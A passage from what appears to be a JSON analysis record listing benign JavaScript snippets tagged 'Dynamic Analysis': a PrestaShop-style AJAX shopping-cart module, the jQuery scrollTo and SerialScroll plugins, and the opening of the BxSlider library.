(contentOnly)\t\t\t\t\t\t\t\t\twindow.parent.ajaxCart.updateLayer(this);\t\t\t\t\t\t\t\telse\t\t\t\t\t\t\t\t\tajaxCart.updateLayer(this);\t\t\t\t\t\t});\t\t\t\t\telse\t\t\t\t\t\t$(jsonData.products).each(function(){\t\t\t\t\t\t\tif (this.id != undefined && this.id == parseInt(idProduct))\t\t\t\t\t\t\t\tif (contentOnly)\t\t\t\t\t\t\t\t\twindow.parent.ajaxCart.updateLayer(this);\t\t\t\t\t\t\t\telse\t\t\t\t\t\t\t\t\tajaxCart.updateLayer(this);\t\t\t\t\t\t});\t\t\t\t\tif (contentOnly)\t\t\t\t\t\tparent.$.fancybox.close();\t\t\t\t}\t\t\t\telse\t\t\t\t{\t\t\t\t\tif (contentOnly)\t\t\t\t\t\twindow.parent.ajaxCart.updateCart(jsonData);\t\t\t\t\telse\t\t\t\t\t\tajaxCart.updateCart(jsonData);\t\t\t\t\tif (addedFromProductPage)\t\t\t\t\t\t$('#add_to_cart button').removeProp('disabled').removeClass('disabled');\t\t\t\t\telse\t\t\t\t\t\t$(callerElement).removeProp('disabled');\t\t\t\t} emptyCustomizations();\t\t\t},\t\t\terror: function(XMLHttpRequest, textStatus, errorThrown)\t\t\t{\t\t\t\tvar error = \"Impossible to add the product to the cart.<br/>textStatus: '\" + textStatus + \"'<br/>errorThrown: '\" + errorThrown + \"'<br/>responseText:<br/>\" + XMLHttpRequest.responseText;\t\t\t\tif (!!$.prototype.fancybox)\t\t\t\t $.fancybox.open([\t\t\t\t {\t\t\t\t type: 'inline',\t\t\t\t autoScale: true,\t\t\t\t minHeight: 30,\t\t\t\t content: '<p class=\"fancybox-error\">' + error + '</p>'\t\t\t\t }],\t\t\t\t\t{\t\t\t\t padding: 0\t\t\t\t });\t\t\t\telse\t\t\t\t alert(error);\t\t\t\t//reactive the button when adding has finished\t\t\t\tif (addedFromProductPage)\t\t\t\t\t$('#add_to_cart button').removeProp('disabled').removeClass('disabled');\t\t\t\telse\t\t\t\t\t$(callerElement).removeProp('disabled');\t\t\t}\t\t});\t},\t//remove a product from the cart via ajax\tremove : function(idProduct, idCombination, customizationId, idAddressDelivery){\t\t//send the ajax request to the server\t\t$.ajax({\t\t\ttype: 'POST',\t\t\theaders: { \"cache-control\": \"no-cache\" },\t\t\turl: baseUri + '?rand=' + new Date().getTime(),\t\t\tasync: true,\t\t\tcache: false,\t\t\tdataType : \"json\",\t\t\tdata: 'controller=cart&delete=1&id_product=' + idProduct + '&ipa=' + ((idCombination != null && parseInt(idCombination)) ? idCombination : '') + ((customizationId && customizationId != null) ? '&id_customization=' + customizationId : '') + '&id_address_delivery=' + idAddressDelivery + '&token=' + static_token + '&ajax=true',\t\t\tsuccess: function(jsonData)\t{\t\t\t\tajaxCart.updateCart(jsonData);\t\t\t\tif ($('body').attr('id') == 'order' || $('body').attr('id') == 'order-opc')\t\t\t\t\tdeleteProductFromSummary(idProduct+'_'+idCombination+'_'+customizationId+'_'+idAddressDelivery);\t\t\t},\t\t\terror: function() {\t\t\t\tvar error = 'ERROR: unable to delete the product';\t\t\t\tif (!!$.prototype.fancybox)\t\t\t\t{\t\t\t\t $.fancybox.open([\t\t\t\t {\t\t\t\t type: 'inline',\t\t\t\t autoScale: true,\t\t\t\t minHeight: 30,\t\t\t\t content: error\t\t\t\t }\t\t\t\t ], {\t\t\t\t padding: 0\t\t\t\t });\t\t\t\t}\t\t\t\telse\t\t\t\t alert(error); }\t\t});\t},\t//hide the products displayed in the page but no more in the json data\thideOldProducts : function(jsonData){\t\t//delete an eventually removed product of the displayed cart (only if cart is not empty!)\t\tif ($('.cart_block_list:first dl.products').length > 0)\t\t{\t\t\tvar removedProductId = null;\t\t\tvar removedProductData = null;\t\t\tvar removedProductDomId = null;\t\t\t//look for a product to delete...\t\t\t$('.cart_block_list:first dl.products dt').each(function(){\t\t\t\t//retrieve idProduct and idCombination from the displayed product in the block cart\t\t\t\tvar domIdProduct = $(this).data('id');\t\t\t\tvar firstCut = domIdProduct.replace('cart_block_product_', '');\t\t\t\tvar ids = firstCut.split('_');\t\t\t\t//try to know if the current product is still in the new list\t\t\t\tvar stayInTheCart = false;\t\t\t\tfor (aProduct in jsonData.products)\t\t\t\t{\t\t\t\t\t//we've called the variable aProduct because IE6 bug if this variable is called product\t\t\t\t\t//if product has attributes\t\t\t\t\tif (jsonData.products[aProduct]['id'] == ids[0] && (!ids[1] || jsonData.products[aProduct]['idCombination'] == ids[1]))\t\t\t\t\t{\t\t\t\t\t\tstayInTheCart = true;\t\t\t\t\t\t// update the product customization display (when the product is still in the cart)\t\t\t\t\t\tajaxCart.hideOldProductCustomizations(jsonData.products[aProduct], domIdProduct);\t\t\t\t\t}\t\t\t\t}\t\t\t\t//remove product if it's no more in the cart\t\t\t\tif (!stayInTheCart)\t\t\t\t{\t\t\t\t\tremovedProductId = $(this).data('id');\t\t\t\t\tif (removedProductId != null)\t\t\t\t\t{\t\t\t\t\t\tvar firstCut = removedProductId.replace('cart_block_product_', '');\t\t\t\t\t\tvar ids = firstCut.split('_');\t\t\t\t\t\t$('dt[data-id=\"' + removedProductId + '\"]').addClass('strike').fadeTo('slow', 0, function(){\t\t\t\t\t\t\t$(this).slideUp('slow', function(){\t\t\t\t\t\t\t\t$(this).remove();\t\t\t\t\t\t\t\t// If the cart is now empty, show the 'no product in the cart' message and close detail\t\t\t\t\t\t\t\tif($('.cart_block:first dl.products dt').length == 0)\t\t\t\t\t\t\t\t{\t\t\t\t\t\t\t\t\t$('.ajax_cart_quantity').html('0');\t\t\t\t\t\t\t\t\t$(\"#header .cart_block\").stop(true, true).slideUp(200);\t\t\t\t\t\t\t\t\t$('.cart_block_no_products:hidden').slideDown(450);\t\t\t\t\t\t\t\t\t$('.cart_block dl.products').remove();\t\t\t\t\t\t\t\t}\t\t\t\t\t\t\t});\t\t\t\t\t\t});\t\t\t\t\t\t$('dd[data-id=\"cart_block_combination_of_' + ids[0] + (ids[1] ? '_'+ids[1] : '') + (ids[2] ? '_'+ids[2] : '') + '\"]').fadeTo('fast', 0, function(){\t\t\t\t\t\t\t$(this).slideUp('fast', function(){\t\t\t\t\t\t\t\t$(this).remove();\t\t\t\t\t\t\t});\t\t\t\t\t\t});\t\t\t\t\t}\t\t\t\t}\t\t\t});\t\t}\t},\thideOldProductCustomizations : function (product, domIdProduct){\t\tvar customizationList = $('ul[data-id=\"customization_' + product['id'] + '_' + product['idCombination'] + '\"]');\t\tif(customizationList.length > 0)\t\t{\t\t\t$(customizationList).find(\"li\").each(function(){\t\t\t\t$(this).find(\"div\").each(function(){\t\t\t\t\tvar customizationDiv = $(this).data('id');\t\t\t\t\tvar tmp = customizationDiv.replace('deleteCustomizableProduct_', '');\t\t\t\t\tvar ids = tmp.split('_');\t\t\t\t\tif ((parseInt(product.idCombination) == parseInt(ids[2])) && !ajaxCart.doesCustomizationStillExist(product, ids[0]))\t\t\t\t\t\t$('div[data-id=\"' + customizationDiv + '\"]').parent().addClass('strike').fadeTo('slow', 0, function(){\t\t\t\t\t\t\t$(this).slideUp('slow');\t\t\t\t\t\t\t$(this).remove();\t\t\t\t\t\t});\t\t\t\t});\t\t\t});\t\t}\t\tvar removeLinks = $('.deleteCustomizableProduct[data-id=\"' + domIdProduct + '\"]').find('.ajax_cart_block_remove_link');\t\tif (!product.hasCustomizedDatas && !removeLinks.length)\t\t\t$('div[data-id=\"' + domIdProduct + '\"]' + ' span.remove_link').html('<a class=\"ajax_cart_block_remove_link\" rel=\"nofollow\" href=\"' + baseUri + '?controller=cart&amp;delete=1&amp;id_product=' + product['id'] + '&amp;ipa=' + product['idCombination'] + '&amp;token=' + static_token + '\"> </a>');\t\tif (product.is_gift)\t\t\t$('div[data-id=\"' + domIdProduct + '\"]' + ' span.remove_link').html('');\t},\tdoesCustomizationStillExist : function (product, customizationId){\t\tvar exists = false;\t\t$(product.customizedDatas).each(function(){\t\t\tif (this.customizationId == customizationId)\t\t\t{\t\t\t\texists = true;\t\t\t\t// This return does not mean that we found nothing but simply break the loop\t\t\t\treturn false;\t\t\t}\t\t});\t\treturn (exists);\t},\t//refresh display of vouchers (needed for vouchers in % of the total)\trefreshVouchers : function (jsonData){\t\tif (typeof(jsonData.discounts) == 'undefined' || jsonData.discounts.length == 0)\t\t\t$('.vouchers').hide();\t\telse\t\t{\t\t\t$('.vouchers tbody').html('');\t\t\tfor (i=0;i<jsonData.discounts.length;i++)\t\t\t{\t\t\t\tif (parseFloat(jsonData.discounts[i].price_float) > 0)\t\t\t\t{\t\t\t\t\tvar delete_link = '';\t\t\t\t\tif (jsonData.discounts[i].code.length)\t\t\t\t\t\tdelete_link = '<a class=\"delete_voucher\" href=\"'+jsonData.discounts[i].link+'\" title=\"'+delete_txt+'\"><i class=\"icon-remove-sign\"></i></a>';\t\t\t\t\t$('.vouchers tbody').append($(\t\t\t\t\t\t'<tr class=\"bloc_cart_voucher\" data-id=\"bloc_cart_voucher_'+jsonData.discounts[i].id+'\">'\t\t\t\t\t\t+'\t<td class=\"quantity\">1x</td>'\t\t\t\t\t\t+'\t<td class=\"name\" title=\"'+jsonData.discounts[i].description+'\">'+jsonData.discounts[i].name+'</td>'\t\t\t\t\t\t+'\t<td class=\"price\">-'+jsonData.discounts[i].price+'</td>'\t\t\t\t\t\t+'\t<td class=\"delete\">' + delete_link + '</td>'\t\t\t\t\t\t+'</tr>'\t\t\t\t\t));\t\t\t\t}\t\t\t}\t\t\t$('.vouchers').show();\t\t}\t},\t// Update product quantity\tupdateProductQuantity : function (product, quantity){\t\t$('dt[data-id=cart_block_product_' + product.id + '_' + (product.idCombination ? product.idCombination : '0')+ '_' + (product.idAddressDelivery ? product.idAddressDelivery : '0') + '] .quantity').fadeTo('fast', 0, function(){\t\t\t$(this).text(quantity);\t\t\t$(this).fadeTo('fast', 1, function(){\t\t\t\t$(this).fadeTo('fast', 0, function(){\t\t\t\t\t$(this).fadeTo('fast', 1, function(){\t\t\t\t\t\t$(this).fadeTo('fast', 0, function(){\t\t\t\t\t\t\t$(this).fadeTo('fast', 1);\t\t\t\t\t\t});\t\t\t\t\t});\t\t\t\t});\t\t\t});\t\t});\t},\t//display the products witch are in json data but not already displayed\tdisplayNewProducts : function(jsonData){\t\t//add every new products or update displaying of every updated products\t\t$(jsonData.products).each(function(){\t\t\t//fix ie6 bug (one more item 'undefined' in IE6)\t\t\tif (this.id != undefined)\t\t\t{\t\t\t\t//create a container for listing the products and hide the 'no product in the cart' message (only if the cart was empty)\t\t\t\tif ($('.cart_block:first dl.products').length == 0)\t\t\t\t{\t\t\t\t\t$('.cart_block_no_products').before('<dl class=\"products\"></dl>');\t\t\t\t\t$('.cart_block_no_products').hide();\t\t\t\t}\t\t\t\t//if product is not in the displayed cart, add a new product's line\t\t\t\tvar domIdProduct = this.id + '_' + (this.idCombination ? this.idCombination : '0') + '_' + (this.idAddressDelivery ? this.idAddressDelivery : '0');\t\t\t\tvar domIdProductAttribute = this.id + '_' + (this.idCombination ? this.idCombination : '0');\t\t\t\tif ($('dt[data-id=\"cart_block_product_' + domIdProduct + '\"]').length == 0)\t\t\t\t{\t\t\t\t\tvar productId = parseInt(this.id);\t\t\t\t\tvar productAttributeId = (this.hasAttributes ? parseInt(this.attributes) : 0);\t\t\t\t\tvar content = '<dt class=\"unvisible\" data-id=\"cart_block_product_' + domIdProduct + '\">';\t\t\t\t\tvar name = $.trim($('<span />').html(this.name).text());\t\t\t\t\tname = (name.length > 12 ? name.substring(0, 10) + '...' : name);\t\t\t\t\tcontent += '<a class=\"cart-images\" href=\"' + this.link + '\" title=\"' + name + '\"><img src=\"' + this.image_cart + '\" alt=\"' + this.name +'\"></a>';\t\t\t\t\tcontent += '<div class=\"cart-info\"><div class=\"product-name\">' + '<span class=\"quantity-formated\"><span class=\"quantity\">' + this.quantity + '</span>&nbsp;x&nbsp;</span><a href=\"' + this.link + '\" title=\"' + this.name + '\" class=\"cart_block_product_name\">' + name + '</a></div>';\t\t\t\t\tif (this.hasAttributes)\t\t\t\t\t\t content += '<div class=\"product-atributes\"><a href=\"' + this.link + '\" title=\"' + this.name + '\">' + this.attributes + '</a></div>';\t\t\t\t\tif (typeof(freeProductTranslation) != 'undefined')\t\t\t\t\t\tcontent += '<span class=\"price\">' + (parseFloat(this.price_float) > 0 ? this.priceByLine : freeProductTranslation) + '</span></div>';\t\t\t\t\tif (typeof(this.is_gift) == 'undefined' || this.is_gift == 0)\t\t\t\t\t\tcontent += '<span class=\"remove_link\"><a rel=\"nofollow\" class=\"ajax_cart_block_remove_link\" href=\"' + baseUri + '?controller=cart&amp;delete=1&amp;id_product=' + productId + '&amp;token=' + static_token + (this.hasAttributes ? '&amp;ipa=' + parseInt(this.idCombination) : '') + '\"> </a></span>';\t\t\t\t\telse\t\t\t\t\t\tcontent += '<span class=\"remove_link\"></span>';\t\t\t\t\tcontent += '</dt>';\t\t\t\t\tif (this.hasAttributes)\t\t\t\t\t\tcontent += '<dd data-id=\"cart_block_combination_of_' + domIdProduct + '\" class=\"unvisible\">';\t\t\t\t\tif (this.hasCustomizedDatas)\t\t\t\t\t\tcontent += ajaxCart.displayNewCustomizedDatas(this);\t\t\t\t\tif (this.hasAttributes) content += '</dd>';\t\t\t\t\t$('.cart_block dl.products').append(content);\t\t\t\t}\t\t\t\t//else update the product's line\t\t\t\telse\t\t\t\t{\t\t\t\t\tvar jsonProduct = this;\t\t\t\t\tif($.trim($('dt[data-id=\"cart_block_product_' + domIdProduct + '\"] .quantity').html()) != jsonProduct.quantity || $.trim($('dt[data-id=\"cart_block_product_' + domIdProduct + '\"] .price').html()) != jsonProduct.priceByLine)\t\t\t\t\t{\t\t\t\t\t\t// Usual product\t\t\t\t\t\tif (!this.is_gift)\t\t\t\t\t\t\t$('dt[data-id=\"cart_block_product_' + domIdProduct + '\"] .price').text(jsonProduct.priceByLine);\t\t\t\t\t\telse\t\t\t\t\t\t\t$('dt[data-id=\"cart_block_product_' + domIdProduct + '\"] .price').html(freeProductTranslation);\t\t\t\t\t\tajaxCart.updateProductQuantity(jsonProduct, jsonProduct.quantity);\t\t\t\t\t\t// Customized product\t\t\t\t\t\tif (jsonProduct.hasCustomizedDatas)\t\t\t\t\t\t{\t\t\t\t\t\t\tcustomizationFormatedDatas = ajaxCart.displayNewCustomizedDatas(jsonProduct);\t\t\t\t\t\t\tif (!$('ul[data-id=\"customization_' + domIdProductAttribute + '\"]').length)\t\t\t\t\t\t\t{\t\t\t\t\t\t\t\tif (jsonProduct.hasAttributes)\t\t\t\t\t\t\t\t\t$('dd[data-id=\"cart_block_combination_of_' + domIdProduct + '\"]').append(customizationFormatedDatas);\t\t\t\t\t\t\t\telse\t\t\t\t\t\t\t\t\t$('.cart_block dl.products').append(customizationFormatedDatas);\t\t\t\t\t\t\t}\t\t\t\t\t\t\telse\t\t\t\t\t\t\t{\t\t\t\t\t\t\t\t$('ul[data-id=\"customization_' + domIdProductAttribute + '\"]').html('');\t\t\t\t\t\t\t\t$('ul[data-id=\"customization_' + domIdProductAttribute + '\"]').append(customizationFormatedDatas);\t\t\t\t\t\t\t}\t\t\t\t\t\t}\t\t\t\t\t}\t\t\t\t}\t\t\t\t$('.cart_block dl.products .unvisible').slideDown(450).removeClass('unvisible');\t\t\tvar removeLinks = $('dt[data-id=\"cart_block_product_' + domIdProduct + '\"]').find('a.ajax_cart_block_remove_link');\t\t\tif (this.hasCustomizedDatas && removeLinks.length)\t\t\t\t$(removeLinks).each(function(){\t\t\t\t\t$(this).remove();\t\t\t\t});\t\t\t}\t\t});\t},\tdisplayNewCustomizedDatas : function(product){\t\tvar content = '';\t\tvar productId = parseInt(product.id);\t\tvar productAttributeId = typeof(product.idCombination) == 'undefined' ? 0 : parseInt(product.idCombination);\t\tvar hasAlreadyCustomizations = $('ul[data-id=\"customization_' + productId + '_' + productAttributeId + '\"]').length;\t\tif (!hasAlreadyCustomizations)\t\t{\t\t\tif (!product.hasAttributes)\t\t\t\tcontent += '<dd data-id=\"cart_block_combination_of_' + productId + '\" class=\"unvisible\">';\t\t\tif ($('ul[data-id=\"customization_' + productId + '_' + productAttributeId + '\"]').val() == undefined)\t\t\t\tcontent += '<ul class=\"cart_block_customizations\" data-id=\"customization_' + productId + '_' + productAttributeId + '\">';\t\t}\t\t$(product.customizedDatas).each(function(){\t\t\tvar done = 0;\t\t\tcustomizationId = parseInt(this.customizationId);\t\t\tproductAttributeId = typeof(product.idCombination) == 'undefined' ? 0 : parseInt(product.idCombination);\t\t\tcontent += '<li name=\"customization\"><div class=\"deleteCustomizableProduct\" data-id=\"deleteCustomizableProduct_' + customizationId + '_' + productId + '_' + (productAttributeId ? productAttributeId : '0') + '\"><a rel=\"nofollow\" class=\"ajax_cart_block_remove_link\" href=\"' + baseUri + '?controller=cart&amp;delete=1&amp;id_product=' + productId + '&amp;ipa=' + productAttributeId + '&amp;id_customization=' + customizationId + '&amp;token=' + static_token + '\"></a></div>';\t\t\t// Give to the customized product the first textfield value as name\t\t\t$(this.datas).each(function(){\t\t\t\tif (this['type'] == CUSTOMIZE_TEXTFIELD)\t\t\t\t{\t\t\t\t\t$(this.datas).each(function(){\t\t\t\t\t\tif (this['index'] == 0)\t\t\t\t\t\t{\t\t\t\t\t\t\tcontent += ' ' + this.truncatedValue.replace(/<br \\/>/g, ' ');\t\t\t\t\t\t\tdone = 1;\t\t\t\t\t\t\treturn false;\t\t\t\t\t\t}\t\t\t\t\t})\t\t\t\t}\t\t\t});\t\t\t// If the customized product did not have any textfield, it will have the customizationId as name\t\t\tif (!done)\t\t\t\tcontent += customizationIdMessage + customizationId;\t\t\tif (!hasAlreadyCustomizations) content += '</li>';\t\t\t// Field cleaning\t\t\tif (customizationId)\t\t\t{\t\t\t\t$('#uploadable_files li div.customizationUploadBrowse img').remove();\t\t\t\t$('#text_fields input').attr('value', '');\t\t\t}\t\t});\t\tif (!hasAlreadyCustomizations)\t\t{\t\t\tcontent += '</ul>';\t\t\tif (!product.hasAttributes) content += '</dd>';\t\t}\t\treturn (content);\t},\tupdateLayer : function(product){\t\t$('#layer_cart_product_title').text(product.name);\t\t$('#layer_cart_product_attributes').text('');\t\tif (product.hasAttributes && product.hasAttributes == true)\t\t\t$('#layer_cart_product_attributes').html(product.attributes);\t\t$('#layer_cart_product_price').text(product.price);\t\t$('#layer_cart_product_quantity').text(product.quantity);\t\t$('.layer_cart_img').html('<img class=\"layer_cart_img img-responsive\" src=\"' + product.image + '\" alt=\"' + product.name + '\" title=\"' + product.name + '\" />');\t\tvar n = parseInt($(window).scrollTop()) + 'px';\t\t$('.layer_cart_overlay').css('width','100%');\t\t$('.layer_cart_overlay').css('height','100%');\t\t$('.layer_cart_overlay').show(); if($(window).width() > 1199) { $('#layer_cart').css({'top': 150 +'px'}).fadeIn('fast'); } else { \t\t$('#layer_cart').css({'top': n}).fadeIn('fast'); }\t\tcrossselling_serialScroll();\t},\t//genarally update the display of the cart\tupdateCart : function(jsonData){\t\t//user errors display\t\tif (jsonData.hasError)\t\t{\t\t\tvar errors = '';\t\t\tfor (error in jsonData.errors)\t\t\t\t//IE6 bug fix\t\t\t\tif (error != 'indexOf')\t\t\t\t\terrors += $('<div />').html(jsonData.errors[error]).text() + \"\\n\";\t\t\tif (!!$.prototype.fancybox)\t\t\t $.fancybox.open([\t\t\t {\t\t\t type: 'inline',\t\t\t autoScale: true,\t\t\t minHeight: 30,\t\t\t content: '<p class=\"fancybox-error\">' + errors + '</p>'\t\t\t }\t\t\t ], {\t\t\t padding: 0\t\t\t });\t\t\telse\t\t\t alert(errors);\t\t}\t\telse\t\t{\t\t\tajaxCart.updateCartEverywhere(jsonData);\t\t\tajaxCart.hideOldProducts(jsonData);\t\t\tajaxCart.displayNewProducts(jsonData);\t\t\tajaxCart.refreshVouchers(jsonData);\t\t\t//update 'first' and 'last' item classes\t\t\t$('.cart_block .products dt').removeClass('first_item').removeClass('last_item').removeClass('item');\t\t\t$('.cart_block .products dt:first').addClass('first_item');\t\t\t$('.cart_block .products dt:not(:first,:last)').addClass('item');\t\t\t$('.cart_block .products dt:last').addClass('last_item');\t\t}\t},\t//update general cart informations everywhere in the page\tupdateCartEverywhere : function(jsonData){\t\t$('.ajax_cart_total').text($.trim(jsonData.productTotal));\t\tif (typeof hasDeliveryAddress == 'undefined')\t\t\thasDeliveryAddress = false;\t\tif (parseFloat(jsonData.shippingCostFloat) > 0)\t\t\t$('.ajax_cart_shipping_cost').text(jsonData.shippingCost).parent().find('.unvisible').show();\t\telse if ((hasDeliveryAddress || typeof(orderProcess) !== 'undefined' && orderProcess == 'order-opc') && typeof(freeShippingTranslation) != 'undefined')\t\t\t$('.ajax_cart_shipping_cost').html(freeShippingTranslation);\t\telse if (!hasDeliveryAddress)\t\t\t$('.ajax_cart_shipping_cost').html(toBeDetermined);\t\tif (hasDeliveryAddress)\t\t\t$('.ajax_cart_shipping_cost').parent().find('.unvisible').show();\t\t$('.ajax_cart_tax_cost').text(jsonData.taxCost);\t\t$('.cart_block_wrapping_cost').text(jsonData.wrappingCost);\t\t$('.ajax_block_cart_total').text(jsonData.total);\t\t$('.ajax_block_products_total').text(jsonData.productTotal); $('.ajax_total_price_wt').text(jsonData.total_price_wt);\t\tif (parseFloat(jsonData.freeShippingFloat) > 0)\t\t{\t\t\t$('.ajax_cart_free_shipping').html(jsonData.freeShipping);\t\t\t$('.freeshipping').fadeIn(0);\t\t}\t\telse if (parseFloat(jsonData.freeShippingFloat) == 0)\t\t\t$('.freeshipping').fadeOut(0);\t\tthis.nb_total_products = jsonData.nbTotalProducts;\t\tif (parseInt(jsonData.nbTotalProducts) > 0)\t\t{\t\t\t$('.ajax_cart_no_product').hide();\t\t\t$('.ajax_cart_quantity').text(jsonData.nbTotalProducts);\t\t\t$('.ajax_cart_quantity').fadeIn('slow');\t\t\t$('.ajax_cart_total').fadeIn('slow');\t\t\tif (parseInt(jsonData.nbTotalProducts) > 1)\t\t\t{\t\t\t\t$('.ajax_cart_product_txt').each( function (){\t\t\t\t\t$(this).hide();\t\t\t\t});\t\t\t\t$('.ajax_cart_product_txt_s').each( function (){\t\t\t\t\t$(this).show();\t\t\t\t});\t\t\t}\t\t\telse\t\t\t{\t\t\t\t$('.ajax_cart_product_txt').each( function (){\t\t\t\t\t$(this).show();\t\t\t\t});\t\t\t\t$('.ajax_cart_product_txt_s').each( function (){\t\t\t\t\t$(this).hide();\t\t\t\t});\t\t\t}\t\t}\t\telse\t\t{\t\t\t$('.ajax_cart_quantity, .ajax_cart_product_txt_s, .ajax_cart_product_txt, .ajax_cart_total').each(function(){\t\t\t\t$(this).hide();\t\t\t});\t\t\t$('.ajax_cart_no_product').show();\t\t}\t}};function HoverWatcher(selector){\tthis.hovering = false;\tvar self = this;\tthis.isHoveringOver = function(){\t\treturn self.hovering;\t}\t$(selector).hover(function(){\t\tself.hovering = true;\t}, function(){\t\tself.hovering = false;\t})}function crossselling_serialScroll(){\tif (!!$.prototype.bxSlider)\t\t$('#blockcart_caroucel').bxSlider({\t\t\tminSlides: 2,\t\t\tmaxSlides: 4,\t\t\tslideWidth: 178,\t\t\tslideMargin: 20,\t\t\tmoveSlides: 1,\t\t\tinfiniteLoop: false,\t \t\thideControlOnEnd: true,\t\t\tpager: false\t\t});}",
"relationship": "Contained_Inside",
"method": "Dynamic Analysis",
"language": "Javascript"
},
{
"snippet": "/** * Copyright (c) 2007-2014 Ariel Flesler - aflesler<a>gmail<d>com | http://flesler.blogspot.com * Licensed under MIT * @author Ariel Flesler * @version 1.4.14 */;(function(k){'use strict';k(['jquery'],function($){var j=$.scrollTo=function(a,b,c){return $(window).scrollTo(a,b,c)};j.defaults={axis:'xy',duration:0,limit:!0};j.window=function(a){return $(window)._scrollable()};$.fn._scrollable=function(){return this.map(function(){var a=this,isWin=!a.nodeName||$.inArray(a.nodeName.toLowerCase(),['iframe','#document','html','body'])!=-1;if(!isWin)return a;var b=(a.contentWindow||a).document||a.ownerDocument||a;return/webkit/i.test(navigator.userAgent)||b.compatMode=='BackCompat'?b.body:b.documentElement})};$.fn.scrollTo=function(f,g,h){if(typeof g=='object'){h=g;g=0}if(typeof h=='function')h={onAfter:h};if(f=='max')f=9e9;h=$.extend({},j.defaults,h);g=g||h.duration;h.queue=h.queue&&h.axis.length>1;if(h.queue)g/=2;h.offset=both(h.offset);h.over=both(h.over);return this._scrollable().each(function(){if(f==null)return;var d=this,$elem=$(d),targ=f,toff,attr={},win=$elem.is('html,body');switch(typeof targ){case'number':case'string':if(/^([+-]=?)?\\d+(\\.\\d+)?(px|%)?$/.test(targ)){targ=both(targ);break}targ=win?$(targ):$(targ,this);if(!targ.length)return;case'object':if(targ.is||targ.style)toff=(targ=$(targ)).offset()}var e=$.isFunction(h.offset)&&h.offset(d,targ)||h.offset;$.each(h.axis.split(''),function(i,a){var b=a=='x'?'Left':'Top',pos=b.toLowerCase(),key='scroll'+b,old=d[key],max=j.max(d,a);if(toff){attr[key]=toff[pos]+(win?0:old-$elem.offset()[pos]);if(h.margin){attr[key]-=parseInt(targ.css('margin'+b))||0;attr[key]-=parseInt(targ.css('border'+b+'Width'))||0}attr[key]+=e[pos]||0;if(h.over[pos])attr[key]+=targ[a=='x'?'width':'height']()*h.over[pos]}else{var c=targ[pos];attr[key]=c.slice&&c.slice(-1)=='%'?parseFloat(c)/100*max:c}if(h.limit&&/^\\d+$/.test(attr[key]))attr[key]=attr[key]<=0?0:Math.min(attr[key],max);if(!i&&h.queue){if(old!=attr[key])animate(h.onAfterFirst);delete attr[key]}});animate(h.onAfter);function animate(a){$elem.animate(attr,g,h.easing,a&&function(){a.call(this,targ,h)})}}).end()};j.max=function(a,b){var c=b=='x'?'Width':'Height',scroll='scroll'+c;if(!$(a).is('html,body'))return a[scroll]-$(a)[c.toLowerCase()]();var d='client'+c,html=a.ownerDocument.documentElement,body=a.ownerDocument.body;return Math.max(html[scroll],body[scroll])-Math.min(html[d],body[d])};function both(a){return $.isFunction(a)||$.isPlainObject(a)?a:{top:a,left:a}}return j})}(typeof define==='function'&&define.amd?define:function(a,b){if(typeof module!=='undefined'&&module.exports){module.exports=b(require('jquery'))}else{b(jQuery)}}));",
"relationship": "Contained_Inside",
"method": "Dynamic Analysis",
"language": "Javascript"
},
{
"snippet": "/* * jQuery.SerialScroll - Animated scrolling of series * Copyright (c) 2007-2009 Ariel Flesler - aflesler(at)gmail(dot)com | http://flesler.blogspot.com * Dual licensed under MIT and GPL. * Date: 06/14/2009 * @author Ariel Flesler * @version 1.2.2 * http://flesler.blogspot.com/2008/02/jqueryserialscroll.html */;(function(a){var b=a.serialScroll=function(c){return a(window).serialScroll(c)};b.defaults={duration:1e3,axis:\"x\",event:\"click\",start:0,step:1,lock:!0,cycle:!0,constant:!0};a.fn.serialScroll=function(c){return this.each(function(){var t=a.extend({},b.defaults,c),s=t.event,i=t.step,r=t.lazy,e=t.target?this:document,u=a(t.target||this,e),p=u[0],m=t.items,h=t.start,g=t.interval,k=t.navigation,l;if(!r){m=d()}if(t.force){f({},h)}a(t.prev||[],e).bind(s,-i,q);a(t.next||[],e).bind(s,i,q);if(!p.ssbound){u.bind(\"prev.serialScroll\",-i,q).bind(\"next.serialScroll\",i,q).bind(\"goto.serialScroll\",f)}if(g){u.bind(\"start.serialScroll\",function(v){if(!g){o();g=!0;n()}}).bind(\"stop.serialScroll\",function(){o();g=!1})}u.bind(\"notify.serialScroll\",function(x,w){var v=j(w);if(v>-1){h=v}});p.ssbound=!0;if(t.jump){(r?u:d()).bind(s,function(v){f(v,j(v.target))})}if(k){k=a(k,e).bind(s,function(v){v.data=Math.round(d().length/k.length)*k.index(this);f(v,this)})}function q(v){v.data+=h;f(v,this)}function f(B,z){if(!isNaN(z)){B.data=z;z=p}var C=B.data,v,D=B.type,A=t.exclude?d().slice(0,-t.exclude):d(),y=A.length,w=A[C],x=t.duration;if(D){B.preventDefault()}if(g){o();l=setTimeout(n,t.interval)}if(!w){v=C<0?0:y-1;if(h!=v){C=v}else{if(!t.cycle){return}else{C=y-v-1}}w=A[C]}if(!w||t.lock&&u.is(\":animated\")||D&&t.onBefore&&t.onBefore(B,w,u,d(),C)===!1){return}if(t.stop){u.queue(\"fx\",[]).stop()}if(t.constant){x=Math.abs(x/i*(h-C))}u.scrollTo(w,x,t).trigger(\"notify.serialScroll\",[C])}function n(){u.trigger(\"next.serialScroll\")}function o(){clearTimeout(l)}function d(){return a(m,p)}function j(w){if(!isNaN(w)){return w}var x=d(),v;while((v=x.index(w))==-1&&w!=p){w=w.parentNode}return v}})}})(jQuery);",
"relationship": "Contained_Inside",
"method": "Dynamic Analysis",
"language": "Javascript"
},
{
"snippet": "/** * BxSlider v4.1.2 - Fully loaded, responsive content slider * http://bxslider.com * * Copyright 2014, Steven Wanderski - http://stevenwanderski.com - http://bxcreative.com * Written while drinking Belgian ales and listening to jazz * * Released under the MIT license - http://opensource.org/licenses/MIT */!function(t){var e={},s={mode:\"horizontal\",slideSelector:\"\",infiniteLoop:!0,hideControlOnEnd:!1,speed:500,easing:null,slideMargin:0,startSlide:0,randomStart:!1,captions:!1,ticker:!1,tickerHover:!1,adaptiveHeight:!1,adaptiveHeightSpeed:500,video:!1,useCSS:!0,preloadImages:\"visible\",responsive:!0,slideZIndex:50,touchEnabled:!0,swipeThreshold:50,oneToOneTouch:!0,preventDefaultSwipeX:!0,preventDefaultSwipeY:!1,pager:!0,pagerType:\"full\",pagerShortSeparator:\" / 